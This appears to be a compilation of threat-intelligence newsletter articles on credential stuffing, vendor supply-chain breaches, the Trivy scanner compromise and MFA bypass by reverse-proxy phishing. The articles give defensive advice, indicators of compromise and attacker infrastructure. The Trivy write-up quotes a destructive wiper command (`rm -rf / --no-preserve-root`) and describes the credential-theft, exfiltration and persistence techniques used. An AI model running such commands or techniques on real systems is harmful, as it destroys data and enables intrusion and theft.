• $4.8 million is the average cost of a credential stuffing breach

• 972 breached websites are currently tracked by HaveIBeenPwned, with billions of compromised accounts

Here is the uncomfortable truth: if you have been using the internet for more than a few years, your credentials have almost certainly been exposed in at least one breach. The question is not whether your password is out there. The question is whether you are still using it.

Every dormant account you have ever created, that old forum from 2011, the streaming service free trial you forgot about, the shopping site you used once, is a liability. If that service gets breached (or already has been), your email and password are now in a database that attackers will use against your bank, your email, your work accounts.

Dormant accounts are 10 times less likely to have two-factor authentication enabled than active accounts. They are not monitored. Nobody notices when they are compromised. They sit there, waiting to be exploited.

According to a Beyond Identity survey, 10% of people are still using a password they first created as a teenager. That means somewhere out there, a bank account, an email inbox, or a corporate VPN is protected by the same password someone picked for their Neopets account in 2007. Which brings us to this week’s Oreo and Bean comic:

How Does This Work?

Think of it like a master key ring.

Every time a company gets breached, the attackers add another set of keys to the ring. LinkedIn breach? That is 117 million keys. Adobe breach? Another 153 million. Dropbox? 68 million more. These “combolists” (username/password combinations) circulate freely on criminal forums, often for free.

Attackers then run automated tools that try these credentials against valuable targets: banks, email providers, corporate VPNs, streaming services. They rotate through thousands of residential proxy IP addresses (rented from services like IPRoyal for as little as $4 per gigabyte) so their attempts look like they are coming from ordinary home internet connections all over the world, not a single attacker.

Rate limiting does not stop them, because each IP only makes a few attempts. Geographic blocking does not stop them, because the proxies are everywhere. Even “impossible travel” detection struggles, because the attackers are patient.

The attack is simple: if you used the same password for LinkedIn in 2012 that you use for your bank today, they are in.

What Can You Do?

This is your credential cleanup checklist. Set aside 30 minutes this week and work through it.

Step 1: Check What Has Been Exposed

Go to HaveIBeenPwned.com and enter every email address you have ever used. Yes, that old Hotmail account too. The site will show you every known breach that included your email.

Do not panic at the list. The point is not to feel bad. The point is to know which passwords are definitely compromised so you can stop using them.

Bonus: Check HaveIBeenPwned.com/Passwords to see if any specific password you use has appeared in a breach. (The site uses a clever privacy technique so your actual password never leaves your device.)

Step 2: Delete Accounts You Do Not Use

This is the step most people skip, and it is the most important.

Every old account is an attack surface. If you are not using it, delete it. Here is how to find them:

1. Search your email for phrases like “welcome to,” “confirm your account,” “thanks for signing up,” or “verify your email.” This will surface accounts you have forgotten about.

2. Check your password manager (if you use one) for sites you have not visited in over a year.

3. Review “Sign in with Google/Apple/Facebook” connections in your account settings. Revoke access to apps and services you no longer use.

4. Use a service like JustDeleteMe to find the account deletion page for specific services. (Some make it deliberately hard to find.)

For each account you find: if you use it, update the password. If you do not use it, delete it. No exceptions.

Step 3: Fix Your Password Hygiene

You have heard this before, but here it is again, because it is the single most effective defense:

1. Use a password manager. Bitwarden (free), Apple Passwords, 1Password, Dashlane, or the one built into your browser. The specific tool matters less than actually using one.

2. Every account gets a unique password. Let the password manager generate random 16+ character passwords. You do not need to remember them.

3. Turn on two-factor authentication everywhere it is offered. Authenticator apps (Google Authenticator, Authy, Microsoft Authenticator) are better than SMS, but SMS is better than nothing.

4. Secure your password manager recovery. Your master password should be strong and unique. Store backup codes in a safe place (not a cloud document). If you use biometrics, make sure your backup method is also secure.

Step 4: Secure Your Backup Codes

Here is a detail most people miss: in the Australian superannuation attack, some victims had MFA enabled, but attackers used stolen backup codes to bypass it.

Backup codes are the “break glass in emergency” option for two-factor authentication. They are also often stored carelessly (in notes apps, cloud documents, or email drafts).

- Store backup codes in your password manager, or

- Print them and keep them in a physical safe, or

- Store them in an encrypted note

Never store them in plain text in the cloud.

The Bottom Line

Your passwords from 2015 are still circulating on criminal forums. Your dormant accounts from services you forgot about are still vulnerable. And attackers are running 26 billion automated attempts every month to see which old keys still open new doors.

The good news: you can fix this in an afternoon. Check what has been exposed. Delete what you do not need. Update what remains. Turn on two-factor authentication. And stop reusing passwords.

The Australian victims lost half a million dollars because they were still using passwords from years ago. Do not be the next case study.

Sources:

FBI IC3 (March 2026), HaveIBeenPwned.com, HUMAN Security, Trend Micro, Bitdefender, Consumer Reports Security Planner*

Picture your building’s security company storing a copy of every tenant’s master key in a warehouse. A thief breaks into the warehouse, copies the keys, then robs 80 apartments. The tenants’ locks were fine. The security company’s warehouse was the weak link.

That is almost exactly what happened to Marquis Software Solutions.

According to Marquis’ lawsuit against SonicWall, In February 2025, attackers compromised SonicWall’s cloud portal and stole firewall configuration data, including emergency backup passcodes, for a subset of customers. Those passcodes were designed to bypass normal authentication in emergencies. The attackers sat on the stolen keys for months.

Then, in August 2025, they used those passcodes to walk straight into Marquis Software’s network. Marquis provides core banking software to community banks and credit unions across the country. Once inside, the attackers exfiltrated Social Security numbers, bank account details, and credit card numbers belonging to 823,548 people across 80 banks and credit unions, then deployed ransomware.

No bank was directly attacked. Every bank was affected.

This is a double supply chain attack: SonicWall (the firewall vendor) fell first, which enabled the breach of Marquis (the banking software vendor), which exposed data from 80+ financial institutions and their customers. Two links in the chain, hundreds of thousands of victims.

And Marquis was not alone. In March 2026:

• APT41 (a Chinese state-backed group) was revealed to have been inside F5 Networks for over 12 months, potentially deploying backdoors on customer systems. F5 makes the access control software that banks, hospitals, and government agencies depend on.

• The Trivy vulnerability scanner (covered last week), a security tool used by thousands of enterprises, was itself compromised when attackers poisoned 76 of 77 release tags on GitHub. The tool organizations trusted to find vulnerabilities became the vulnerability.

• The GlassWorm campaign planted malicious code in 433 packages, repositories, and IDE extensions across GitHub, npm, and VSCode marketplaces, hiding payloads in invisible Unicode characters.

The good news is that there are steps that you can take to minimize the risk from your supply chain…. Like insisting on a Software Bill of Materials (SBOM) among other controls.

Why Should You Care?

Supply chain attacks are growing faster than almost any other category:

• 30% of all data breaches in 2025 involved a third-party vendor, double the rate from previous years (DeepStrike)

• Supply chain breaches cost $4.91 million on average and take the longest to detect, averaging 267 days from compromise to containment (IBM Cost of a Data Breach Report, 2025)

• 877,522 malicious packages were detected in open-source software repositories in 2025, a 73% increase over 2024 (ReversingLabs/Sonatype)

• $60 billion in global losses from software supply chain attacks in 2025, projected to reach $138 billion by 2031 (Cybersecurity Ventures)

Here is the part that makes supply chain attacks different from every other type: you can do everything right and still get hit. Your firewalls are configured correctly. Your employees passed phishing training. Your systems are patched. But if your software vendor, or your vendor’s vendor, gets compromised, the attackers ride in on trusted software through the front door.

How Does This Work?

Think of it like a contaminated ingredient in a food supply. The restaurant did nothing wrong. The ingredient passed inspection. But everyone who eats the meal gets sick.

Software supply chains work the same way. Modern organizations depend on dozens (sometimes hundreds) of vendors, each of which depends on their own set of vendors, open-source libraries, cloud providers, and service partners. An attacker who compromises one link anywhere in that chain can reach every organization downstream.

The most common supply chain attack patterns right now:

1. Vendor credential theft (the Marquis pattern): Steal login credentials or backup codes from a vendor’s systems, then use that access to reach their customers. The attackers never need to touch the target directly.

2. Software update poisoning (the Trivy pattern): Inject malicious code into a legitimate software update or open-source package. Every organization that installs the update gets compromised automatically.

3. Developer environment infiltration (the GlassWorm pattern): Plant malicious code in developer tools, IDE extensions, or code repositories. When developers use these tools, the malicious code harvests credentials and tokens that open doors to production systems.

4. Cloud infrastructure compromise (the Resolv DeFi pattern): Target the cloud management layer, such as AWS key management or Microsoft Intune admin accounts, rather than the application itself. One privileged cloud key can unlock an entire organization.

What makes these attacks so effective is trust. Organizations trust their vendors. Developers trust their tools. Automated systems trust signed updates. Attackers exploit that trust.

What Can You Do?

If You Run an Organization

1. Know your ingredient list.
You cannot protect what you do not know about. Build and maintain a Software Bill of Materials (SBOM), an inventory of every piece of software and every vendor your organization depends on. Our colleagues at NetRise have built an excellent platform for exactly this: their tools generate SBOMs from binaries, firmware, and containers, then map every component back to known vulnerabilities and, with their new Provenance feature (launched March 2026), trace which developers and organizations are behind each open-source component. If the Trivy compromise taught us anything, knowing what is inside your software stack is no longer optional.

2. Verify your vendors’ vendors.
Third-party risk assessments should not stop at your direct vendors. Ask them: who are your critical vendors? How do you secure their access? According to Marquis, the Marquis breach happened because SonicWall’s cloud backup practices were inadequate. Marquis trusted SonicWall. Eighty banks trusted Marquis. The chain broke at the link nobody was watching.

3. Lock down admin accounts like they are the crown jewels.
Phishing-resistant multi-factor authentication (hardware keys, not SMS codes) on every administrative account. No exceptions. The Stryker wiper attack (200,000 devices destroyed in March 2026) started with a single compromised Microsoft Intune admin account.

4. Segment your network so one breach cannot reach everything.
If a vendor is compromised, limit what they can access. Your banking software vendor does not need access to your HR systems. Your HVAC vendor does not need access to your customer database.

5. Plan for your vendor getting breached.
Have an incident response plan that specifically addresses the scenario where a trusted vendor is compromised. Know which data is at risk, how to isolate affected systems, and who to call. Practice it.

If You Are a Professional (Any Field)

1. Use a password manager and unique passwords everywhere.
If one service is breached, reused passwords give attackers access to your other accounts. A password manager makes unique passwords easy.

2. Turn on multi-factor authentication, and secure the backup codes.
MFA is essential, but in the Marquis case, attackers bypassed it using stolen emergency backup passcodes. Store your backup codes in a secure location (a password manager or a physical safe), not in a cloud document.

3. Be cautious with browser extensions and software add-ons.
The GlassWorm campaign hid malicious code inside 72 fake VSCode extensions that mimicked popular developer tools. The same approach works with browser extensions, mobile apps, and plugins of all kinds. Stick to well-known, well-reviewed tools, and remove anything you are not actively using.

4. Update deliberately, not blindly.
Patching remains critical, but after the Trivy compromise, security experts recommend a brief waiting period (24 to 48 hours) before adopting updates from sources that are not critical security patches. This gives the community time to catch poisoned updates before they spread.

The Bottom Line

The biggest cybersecurity risk to your organization may not be your own security. It may be your vendor’s. Supply chain attacks exploit the trust between organizations, and they are growing in frequency, sophistication, and impact. You cannot eliminate the risk, but you can reduce your exposure by knowing your software ingredients, verifying your vendors, and planning for the day one of them gets compromised.

Research Sources:

Intruvent CTI Cloud

American Banker, “Marquis Breach Toll Rises to 80 Banks, 824,000 Consumers”

TechCrunch, “Marquis Sues SonicWall Over Ransomware Breach”

IBM, 2025 Cost of a Data Breach Report

DeepStrike, “Supply Chain Attack Statistics 2025”

Cybersecurity Ventures, “Software Supply Chain Attack Costs”

Microsoft Security Blog, “Trivy Supply Chain Compromise Guidance”

Intruvent Technologies, BRACE Threat Intelligence Reports, March 2026

Last Updated: March 31, 2026

On March 19, 2026, a threat actor called TeamPCP compromised Trivy, one of the most widely used open-source vulnerability scanners in the world. The tool that thousands of organizations run inside their CI/CD pipelines to find security flaws was itself weaponized to steal credentials, backdoor developer machines, and spread laterally through cloud infrastructure.

Over 1,000 cloud environments have been confirmed infected. Aqua Security, Trivy’s maintainer, is still investigating the full scope. Microsoft, Palo Alto Unit 42, Wiz, Sysdig, GitGuardian, and Arctic Wolf have all published independent analyses. CVE-2026-33634 has been assigned with a CVSS score of 9.4.

If your organization uses Trivy, GitHub Actions, or any npm packages updated in the last week, keep reading.

How the Attack Unfolded

The compromise happened in five phases, each building on the last. Understanding this chain matters because the same pattern can be replicated against any open-source project with CI/CD automation.

Phase 1: A Misconfigured Workflow and an Incomplete Fix

Sometime in late February 2026, an automated bot called “hackerbot-claw” found a misconfigured `pull_request_target` workflow in Trivy’s GitHub repository. This is a well-documented vulnerability in GitHub Actions: the `pull_request_target` event runs workflows with write access to the repository and makes secrets available to the workflow, even when triggered by a pull request from a fork.

The bot exploited this to steal a Personal Access Token (PAT) from Trivy’s CI environment. Aqua Security discovered the theft and rotated credentials, but the rotation was incomplete. According to GitGuardian’s analysis, residual access paths remained open. TeamPCP retained access to surviving tokens, including credentials for the `aqua-bot` service account, and waited.

Phase 2: Binary Poisoning Through Official Channels

On March 19 at 17:43 UTC, TeamPCP used the compromised service account to push a malicious Trivy release: version 0.69.4. The commits were crafted to spoof legitimate maintainer identities, reusing original author metadata and timestamps to create a deceptive Git history. The release triggered Aqua’s automated build pipelines, which published the infected binary to GitHub Releases, Docker Hub, GitHub Container Registry (GHCR), and Amazon ECR.

Two days later, on March 22, TeamPCP pushed additional malicious Docker images tagged 0.69.5 and 0.69.6 directly to Docker Hub, without corresponding GitHub releases. The last clean version is 0.69.3.

Phase 3: Tag Poisoning Turns Every Pipeline into a Weapon

This is where the attack scaled. TeamPCP force-pushed malicious commits to 75 of 76 version tags in the `trivy-action` GitHub Action and all 7 tags in `setup-trivy`. Because most GitHub Actions workflows reference actions by version tag (e.g., `@v0.28.0`) rather than by commit SHA, every CI/CD pipeline that referenced these actions began running TeamPCP’s code on its next execution. No workflow file changed. No pull request was created. The tag simply pointed somewhere new.

The poisoned actions executed a three-step credential theft operation:

Collection. The malware read directly from GitHub Actions Runner memory (`/proc/<pid>/mem`), bypassing GitHub’s log-masking to harvest credentials. Targeted secrets included SSH keys, AWS/GCP/Azure cloud credentials, Kubernetes tokens, Docker registry credentials, database passwords, TLS private keys, and cryptocurrency wallet files. It also scraped credentials from over 50 filesystem paths.

Encryption. Stolen data was encrypted with AES-256-CBC wrapped in RSA-4096, making network-layer inspection ineffective.

Exfiltration. Primary exfiltration went to a typosquatted domain: `scan.aquasecurtiy[.]org` (note the misspelling of “security”), resolving to 45.148.10.212 (TECHOFF SRV LIMITED, Amsterdam). As a fallback, the malware used the victim’s own stolen GitHub PAT to create a public repository named `tpcp-docs` and uploaded the encrypted credential dump there, using trusted infrastructure as a dead drop.

Phase 4: Persistent Backdoor via Blockchain C2

When the malicious Trivy binary ran on developer workstations (not just in CI/CD), it installed a systemd service (`sysmon.py`) that polled an Internet Computer Protocol (ICP) blockchain canister every 50 minutes for command-and-control instructions. Because the C2 infrastructure lives on a decentralized blockchain, it resists DNS sinkholes, domain takedowns, and traditional network-based blocking. The low beacon frequency (every 50 minutes) was designed to evade statistical anomaly detection.

Phase 5: CanisterWorm Spreads Through npm

Using credentials stolen in Phase 3, TeamPCP launched CanisterWorm, a self-propagating worm that compromised 47+ npm packages across multiple scopes (including @emilgroup, @opengov, and @teale.io namespaces). Twenty-eight packages were compromised within 60 seconds. Later variants added token theft and malicious publishing in postinstall hooks, turning every developer or CI pipeline that installed an affected package into an unwitting propagation vector.

On March 22, TeamPCP also used a compromised long-lived PAT from the `Argon-DevOps-Mgt` bot account (created July 2023) to breach Aqua Security’s internal GitHub organization. Within a two-minute window (20:31-20:32 UTC), 44 internal repositories were renamed with a `tpcp-docs-` prefix, exposing Tracee source code, internal forks, CI/CD pipelines, and Kubernetes operators.

The Kubernetes Wiper: “Kamikaze”

One payload deserves special attention. TeamPCP deployed a Kubernetes wiper that deploys privileged DaemonSets across cluster nodes. The behavior is geographically targeted:

On systems geolocated to Iran: executes `rm -rf / --no-preserve-root` and forces a system reboot via a container named “kamikaze”

On all other systems: installs CanisterWorm as a systemd service for persistent backdoor access

The Iranian targeting is notable given the current geopolitical context, but attribution to any state actor has not been established. TeamPCP’s motivations appear primarily criminal (credential theft, infrastructure compromise) with the Iranian wiper component potentially representing hacktivism, a false flag, or an unrelated vendetta. No vendor has attributed TeamPCP to a nation-state.

Why This Matters

This attack exploits a fundamental trust assumption: that security tools are trustworthy. Organizations run Trivy inside their most privileged environments (CI/CD pipelines with access to production credentials, cloud infrastructure tokens, and signing keys) precisely because it is a security tool. That trust relationship made the compromise devastatingly effective.

Three structural problems made this possible:

1. Tag-based GitHub Action references are inherently fragile. If you reference `uses: aquasecurity/trivy-action@v0.28.0`, you are trusting that the tag will always point to the same commit. Tags can be force-pushed. There is no integrity guarantee. This is a known risk that the GitHub Actions ecosystem has not adequately addressed. The fix is to pin actions by full commit SHA, which is immutable.

2. Incomplete credential rotation created the window. Aqua Security detected the initial PAT theft in late February and rotated credentials, but missed residual access paths. TeamPCP waited and re-entered through a surviving token. As GitGuardian’s analysis puts it: the core lesson extends beyond detection. Organizations must “trace blast radius, prioritize rotation, verify remediation, and prove that the same credential cannot be reused tomorrow.”

3. Official distribution channels became the delivery mechanism. The malicious binary was published through GitHub Releases, Docker Hub, GHCR, and ECR. These are the channels organizations trust. There was no phishing email, no drive-by download, no exploitation of a vulnerability in the traditional sense. The attacker simply published a new version through legitimate automation.

What You Should Do

Immediate (today)

Check for affected Trivy versions. Search your environments for Trivy 0.69.4, 0.69.5, or 0.69.6. The last clean version is 0.69.3. Check GitHub Actions logs, Docker image registries, and developer workstations.

Audit GitHub Actions workflow runs from March 19 onward. Review execution logs for `trivy-action` and `setup-trivy`. Look for unexpected network connections, repository creation (especially repositories prefixed with `tpcp-docs`), or credential access patterns.

Rotate all secrets that were accessible to affected pipelines. If any pipeline ran a compromised action or binary after March 19, treat every secret accessible to that pipeline as compromised. This includes cloud provider credentials, Docker registry tokens, npm publish tokens, SSH keys, database credentials, and Kubernetes service account tokens.

Search for persistence mechanisms. On Linux systems, look for suspicious systemd services: `sysmon.py`, `pgmon.py`, `pgmonitor.service`, `internal-monitor.service`. Check for outbound connections to the ICP canister endpoint (`tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io`) or the typosquatted domain (`scan.aquasecurtiy[.]org`).

This week

Pin all GitHub Actions by full commit SHA. Replace every tag-based action reference in your workflows with the full 40-character commit hash. This is the single most effective mitigation against tag poisoning attacks. Yes, it makes updates harder. That friction is the point.

Audit npm dependencies installed since March 19. Check for packages in the @emilgroup, @opengov, and @teale.io scopes. Review postinstall hooks in all recently updated packages.

Review CI/CD pipeline permissions. Apply least privilege to workflow tokens. Restrict `GITHUB_TOKEN` permissions to the minimum required for each workflow. Eliminate long-lived PATs wherever possible and replace with short-lived, scoped tokens.

Going forward

Treat CI/CD runners as production infrastructure. Monitor them with the same rigor you apply to production servers. Credential theft from a CI/CD runner can be more damaging than a production server compromise because runners have access to deployment credentials, signing keys, and cross-environment tokens.

Implement secret scanning and rotation verification. When you rotate credentials after an incident, verify the rotation was complete. Test that the old credential no longer works. GitGuardian, GitHub Advanced Security, and similar tools can help detect lingering exposure.

Indicators of Compromise

Network:

- `scan.aquasecurtiy[.]org` (typosquatted exfiltration domain)

- `45.148.10.212` (TECHOFF SRV LIMITED, Amsterdam)

- `tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io` (ICP blockchain C2)

- `plug-tab-protective-relay.trycloudflare.com` (Cloudflare tunnel exfil)

- `souls-entire-defined-routes.trycloudflare.com`

- `checkmarx[.]zone`

- `63.251.162.11`

- `23.142.184.129` (ICP blockchain infrastructure; monitor only, do not block as this serves legitimate traffic.)

Note on Cloudflare tunnel domains: The `trycloudflare[.]com` subdomains above are ephemeral Cloudflare quick tunnels that may already be rotated or expired. Monitor for the pattern but do not rely on these as durable indicators.

Note on checkmarx[.]zone: This is a typosquatted domain impersonating Checkmarx (legitimate domain: checkmarx.com). Confirmed as attacker infrastructure by Palo Alto Unit 42.

Affected versions:

- Trivy 0.69.4, 0.69.5, 0.69.6 (last clean: 0.69.3)

- trivy-action: 75 of 76 tags compromised

- setup-trivy: all 7 tags compromised

- 47+ npm packages across @emilgroup, @opengov, @teale.io scopes

Persistence indicators:

- systemd services: `sysmon.py`, `pgmon.py`, `pgmonitor.service`, `internal-monitor.service`

- Repositories prefixed with `tpcp-docs` in your GitHub organization

File hashes (select):

- `e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b`

- `61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba`

The Bottom Line

The Trivy compromise demonstrates that software supply chain attacks are no longer limited to obscure packages or niche tools. A security scanner used by thousands of organizations to protect their infrastructure was turned into a credential harvesting platform, a persistent backdoor, and a worm propagation vector, all distributed through official channels that defenders are conditioned to trust.

The fix is not complicated, but it requires discipline. Pin your actions by SHA. Rotate credentials completely. Monitor your CI/CD runners. And stop assuming that because a tool is designed to improve your security, it cannot be used to destroy it.

*Research sources: Intruvent CTI Cloud, Microsoft Defender Security Research (March 24, 2026), Palo Alto Unit 42 Cloud Security (March 25, 2026), Wiz Research (March 20-23, 2026), GitGuardian (March 24, 2026), The Hacker News (March 25, 2026), Sysdig Threat Research (March 23, 2026), Arctic Wolf (March 24, 2026), Aqua Security formal advisory (March 23, 2026)*

For threat hunting queries and detection rules for your SIEM, visit the Intruvent Threat Intelligence Hub or for CTU related to the Iran conflict visit the Intruvent Iran Cyber Threat Intelligence Center or contact us at contact@intruvent.com.

Want sector-specific threat intelligence for your organization? Check out our BRACE CTI platform

What Happened?

Last week, we published Threat Actor Profiles (TAPs) and Threat Hunting Guides (THGs) for Iran’s most dangerous cyber operators and the escalating threat they pose to Western organizations. If you haven’t seen them yet, our Iran Cyber Threat Intelligence Center is the go-to resource for tracking every active Iranian threat group, complete with detection rules, hunting queries, and tactical guidance. Go check it out.

One technique kept showing up across almost every group we profiled: bypassing multi-factor authentication.

Not breaking it. Not cracking it. Bypassing it entirely.

Here’s how it works. You get an email that looks like it came from Microsoft or Google. The login page looks real. The URL looks close enough. You type your password, get the MFA prompt on your phone, and approve it. You did everything right. You followed the training. You used MFA.

And the attacker now has your session.

The page you logged into was running through a reverse proxy: a server sitting invisibly between you and the real Microsoft login. When you completed your MFA challenge, the proxy captured the session token that Microsoft issued after your successful authentication. The attacker takes that token, loads it into their own browser, and they’re in. Microsoft thinks they’re you. MFA never fires again because the token says authentication already happened.

This isn’t theoretical. This is the primary access technique for multiple Iranian state-sponsored groups operating right now.

Why Should You Care?

Because MFA has become the security equivalent of “I eat healthy” while surviving on protein bars and Diet Coke. It feels like you’re covered. The checkbox is checked. And for years, that was good enough.

It’s not good enough anymore.

APT42, the IRGC Intelligence Organization’s dedicated credential harvesting unit (also tracked as Charming Kitten and Mint Sandstorm), has built an industrial-scale phishing operation specifically designed to defeat MFA. Check Point Research documented over 130 phishing domains operated by the group, many running custom React-based phishing kits that intercept MFA tokens in real time. Their targets include journalists, academics, policy researchers, government officials, and cybersecurity professionals. They build trust over weeks of correspondence before sending the malicious link. By the time the phishing page loads, the victim has every reason to believe the interaction is legitimate.

APT33 (Peach Sandstorm) takes a different approach to the same problem. Rather than sophisticated phishing proxies, they run massive password spraying campaigns against Azure AD and Microsoft 365 environments. The technique is blunt but effective: try common passwords across thousands of accounts. When they find one that works, they look for ways around MFA. Legacy authentication protocols like IMAP, POP3, and SMTP AUTH don’t support MFA at all. If your organization hasn’t explicitly blocked these protocols, an attacker with a valid password can walk right past your MFA controls using a protocol from 1996.

Then there’s the Stryker attack. Two weeks ago, Handala (a front for Iran’s MOIS destructive operations unit, Void Manticore) compromised a Stryker Corporation admin account and used Microsoft Intune to remotely wipe 200,000 devices across 79 countries. MFA was in place. It didn’t prevent the initial credential theft from being leveraged into catastrophic admin abuse. Once the attackers had a single valid session with administrative privileges, every device enrolled in the management platform became a target.

MuddyWater rounds out the picture. Iran’s MOIS-affiliated group harvests credentials and then operates entirely within legitimate cloud services for command and control. They don’t need to bypass your MFA repeatedly because they’re working within trusted authentication contexts, using your own cloud infrastructure against you.

The pattern across all four groups is the same: MFA is a speed bump, not a wall.

How Does This Actually Work?

The tool that makes this possible is called Evilginx. Originally built as a penetration testing tool, it’s an open-source reverse proxy framework that sits between a victim and a legitimate login page. The attacker sets up a server, registers a domain that looks similar to the real one, and configures Evilginx to proxy traffic to the actual Microsoft or Google login.

When you visit the phishing page, Evilginx forwards your request to the real login server. You see the real login page, rendered through the proxy. You enter your password. The real server sends back an MFA challenge. You approve it on your phone. The real server issues a session token. Evilginx captures that token before passing the authenticated page back to you.

You see a successful login. The attacker sees your session token.

From there, the attacker loads your stolen token into their own browser. To Microsoft’s servers, the request looks identical to yours: same token, valid authentication, MFA already completed. The attacker can now read your email, access your files, and move laterally through your organization. Unless someone notices that your account is suddenly being accessed from two different countries at the same time, there’s no alert.

The commercial ecosystem around this technique has matured rapidly. Phishing-as-a-Service platforms like Tycoon 2FA, Sneaky2FA, and Flowerstorm sell ready-made kits that handle the entire reverse proxy setup. No technical expertise required. Push Security’s 2025 analysis found that MFA bypass is now standard fare in the criminal phishing marketplace, and that roughly one in three phishing attacks they detected were delivered outside of email entirely, through LinkedIn messages, Google search results, and other channels that email security tools never see.

Token theft accounted for 31% of Microsoft 365 breaches in 2025, making it the leading attack vector ahead of traditional credential compromise. Microsoft documented over 382,000 MFA fatigue attacks in a single year, with research showing that 1% of users blindly accept the first push notification they receive.

One percent sounds small until you calculate it across an organization with 10,000 employees.

What Can You Do?

For Everyone:

Stop approving MFA prompts you didn’t initiate. This is the single most important takeaway from this entire article. If your phone buzzes with a login approval request and you aren’t actively logging into something, deny it. Every time. That unexpected prompt could be an attacker who already has your password, waiting for you to tap “Approve” so they can walk into your account.

Use a password manager. A good password manager auto-fills credentials only on the exact domain they were saved for. If you land on a phishing page at “micros0ft-login.com” instead of “microsoft.com,” your password manager will refuse to fill in your credentials. That moment of friction could save your organization.

For IT and Security Teams:

Deploy phishing-resistant MFA. Hardware security keys (FIDO2/WebAuthn) and passkeys defeat reverse proxy attacks entirely because the authentication is cryptographically bound to the legitimate domain. The key literally cannot produce a valid response for a phishing site because the domain doesn’t match. Google deployed hardware security keys to all 85,000+ employees and reported zero successful phishing attacks afterward. Cloudflare survived a sophisticated phishing campaign that compromised other tech companies because their hardware keys refused to authenticate on the phishing domain, even after employees clicked the malicious links and entered their credentials.

Adoption of phishing-resistant authenticators grew 63% in 2024, according to Okta’s research. CISA calls FIDO2 and PKI-based authentication the gold standard. Multiple countries are now mandating the retirement of SMS-based authentication. The technology is mature and the deployment playbooks are proven.

Block legacy authentication protocols. If IMAP, POP3, SMTP AUTH, and other legacy protocols are still enabled in your Microsoft 365 or Entra ID environment, you have a backdoor that bypasses MFA entirely. Create Conditional Access policies that block legacy authentication. Start in report-only mode to identify any legitimate usage, then enforce. This single change eliminates the attack vector that APT33 and dozens of other groups exploit through password spraying.

Implement Conditional Access policies with teeth. Require compliant devices for access to sensitive resources. Restrict authentication to managed devices and known network locations for administrative accounts. Require step-up authentication for high-risk actions. These policies create layers of verification that survive a stolen session token.

Monitor for token replay. When an attacker steals a session token, there’s a window where two different sessions using the same token are active from different IP addresses and user agents. Enable Continuous Access Evaluation in Entra ID, which can detect and revoke tokens when conditions change. Watch for impossible travel patterns. Alert on sessions where the user agent or IP address changes mid-session.

Shorten token lifetimes for sensitive accounts. The shorter the session token validity, the smaller the window an attacker has to exploit a stolen token. This creates friction for legitimate users, so apply it selectively to high-privilege accounts where the security tradeoff is worth it.

For Security Leaders:

Audit your MFA deployment honestly. Check which accounts still use SMS-based MFA. Identify where legacy protocols remain enabled. Find the administrative accounts that have permanently assigned privileges rather than just-in-time access. The Stryker attack demonstrated what happens when a single admin account with broad permissions gets compromised. Least privilege and just-in-time access aren’t theoretical best practices. They’re the difference between a compromised account and a compromised enterprise.

The Bottom Line

MFA still matters. Having MFA enabled is dramatically better than not having it. The vast majority of credential attacks still fail against accounts with any form of MFA enabled.

But “I have MFA” has become the new “I have antivirus.” It’s a starting point, not a finish line. The Iranian groups we profiled on our Iran Cyber Threat Intelligence Center have built entire operational playbooks around the assumption that their targets use MFA. Their attacks are designed from the ground up to defeat it.

The fix exists. Hardware security keys and passkeys are cryptographically immune to these attacks. Blocking legacy protocols closes the password-spraying backdoor. Conditional Access policies and token monitoring catch what gets through. None of this is exotic or experimental. It’s available today, from the vendors you already use.

The question isn’t whether your MFA can be bypassed. It can. The question is whether you’ve deployed the controls that make bypass meaningless.

Next time you get an unexpected MFA prompt on your phone, remember: that approval button might be the most dangerous click you make all year. Deny it. Call your IT team.

Research Sources: Intruvent CTI Cloud, Google Cloud/Mandiant APT42 Research, Check Point Research, Microsoft Threat Intelligence, Cisco Talos, Push Security 2025 Phishing Trends Report, Okta Secure Sign-in Trends Report 2025, Obsidian Security, CISA Phishing-Resistant MFA Guidance, Malwarebytes, Infoblox

For the complete Iranian threat actor profiles, detection queries, and hunting guides, visit the Iran Cyber Threat Intelligence Center.

Last Updated: March 24, 2026

Want sector specific threat intelligence for your organization? Check out our BRACE CTI platform at https://intruvent.com/brace